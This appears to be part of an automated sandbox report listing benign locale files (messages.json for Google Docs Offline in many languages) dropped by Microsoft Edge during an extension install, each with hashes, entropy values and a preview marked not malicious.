SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
